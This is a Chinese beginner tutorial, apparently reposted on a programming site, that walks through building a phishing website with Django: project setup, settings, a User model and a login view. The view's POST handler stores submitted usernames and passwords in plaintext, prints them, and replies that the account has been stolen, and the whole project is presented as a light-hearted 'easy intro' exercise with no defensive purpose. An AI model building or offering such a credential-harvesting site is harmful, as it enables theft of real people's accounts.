【Python案例】——利用Django搭建一个钓鱼网站【轻松入门】

导读:本篇文章讲解 【Python案例】——利用Django搭建一个钓鱼网站【轻松入门】,希望对大家有帮助,欢迎收藏,转发!站点地址:www.bmabk.com

目录

(1)最终实现效果​编辑

(2)安装Django模块

(3)创建Django项目

 (4)查看项目是否环境配置成功

(5)点击进入settings.py文件,进行定制化修改 

(6)导入所需文件

(7)编写数据模型 

(8)编写视图

(9)在urls.py文件里编写路由


🌞哈喽,大家好丫,你们的小郭子又来啦 ~

 话不多说,直接上干货,嘻嘻嘻 ~

                        【Python案例】——利用Django搭建一个钓鱼网站【轻松入门】

 

(1)最终实现效果【Python案例】——利用Django搭建一个钓鱼网站【轻松入门】

 

【Python案例】——利用Django搭建一个钓鱼网站【轻松入门】

 

(2)安装Django模块

pip install django[==版本]

如:pip install django==3.0 安装django的指定版本

(3)创建Django项目

在命令指示符里数据命令

【Python案例】——利用Django搭建一个钓鱼网站【轻松入门】

 manage.py是命令文件,如果要运行Django内置的命令,必须要通过这个文件才行

创建子应用
把网站的各个模块拆分成子应用

python manage.py startapp login

【Python案例】——利用Django搭建一个钓鱼网站【轻松入门】

 【Python案例】——利用Django搭建一个钓鱼网站【轻松入门】

 (4)查看项目是否环境配置成功

可以用pycharm直接打开文件,然后点击运行

【Python案例】——利用Django搭建一个钓鱼网站【轻松入门】

运行后会给出一段域名,点击打开 

【Python案例】——利用Django搭建一个钓鱼网站【轻松入门】

如果出现下面的页面,就说明该项目环境配置成功了 

【Python案例】——利用Django搭建一个钓鱼网站【轻松入门】

(5)点击进入settings.py文件,进行定制化修改 

【Python案例】——利用Django搭建一个钓鱼网站【轻松入门】

 

Application definition 网站子应用进行注册,在最后一行写入login

# Application definition
# 网站子应用进行注册
INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'login',
]

创建一个templates文件,并修改代码

# templates 文件夹的配置项
TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [os.path.join(BASE_DIR, 'templates')],
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]

配置网站默认语言、时间

# 网站默认语言 英文 修改成中文
LANGUAGE_CODE = 'zh-hans'
# 当前时间
TIME_ZONE = 'Asia/Shanghai'

USE_I18N = True

USE_L10N = True

USE_TZ = False

静态页面当中的文件夹配置,并在总目录中创建一个static文件夹

STATIC_URL = '/static/'
STATICFILES_DIRS = [
    os.path.join(BASE_DIR, 'static'),
]

(6)导入所需文件

【Python案例】——利用Django搭建一个钓鱼网站【轻松入门】

(7)编写数据模型 

打开**models.py文件,需要去创建一个模型类

from django.db import models

# Create your models here.

class User(models.Model):
    name = models.CharField(max_length=20)
    pwd = models.CharField(max_length=20)

(8)编写视图

打开views.py文件,编写视图,是控制网站与用户的交互逻辑

# 渲染html文件到浏览器的
from django.shortcuts import render
from django.views.generic import View
from .models import User
from django.http import HttpResponse
# Create your views here.

# 在浏览器中显示网站首页
def index(request):
    return render(request, 'index.html')


# 登录类视图
class Login(View):
    def get(self, request):
        return render(request, 'denlu.html', locals())

    '''
    当用户在页面中输入了一些数据
    可以使用post去做接收
    '''
    def post(self, request):
        name = request.POST.get('username')
        pwd = request.POST.get('password')

        User.objects.create(name=name, pwd=pwd).save()
        print(name)
        print(pwd)

        return HttpResponse('你的账号已经被盗, 溜了 溜了~')

(9)在urls.py文件里编写路由

from django.contrib import admin
from django.urls import path
from login.views import index, Login

urlpatterns = [
    path('admin/', admin.site.urls),
    path('', index, name='index'),
    path('login/', Login.as_view(), name='login')
]

 好啦,今天的分享到这里就结束啦 ~🌞🌞

觉得我分享的文章不错的话,可以关注一下哦,嘻嘻嘻🌞🌞

     【Python案例】——利用Django搭建一个钓鱼网站【轻松入门】             【Python案例】——利用Django搭建一个钓鱼网站【轻松入门】                     【Python案例】——利用Django搭建一个钓鱼网站【轻松入门】

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/73238.html

(0)
小半的头像小半

相关推荐

极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!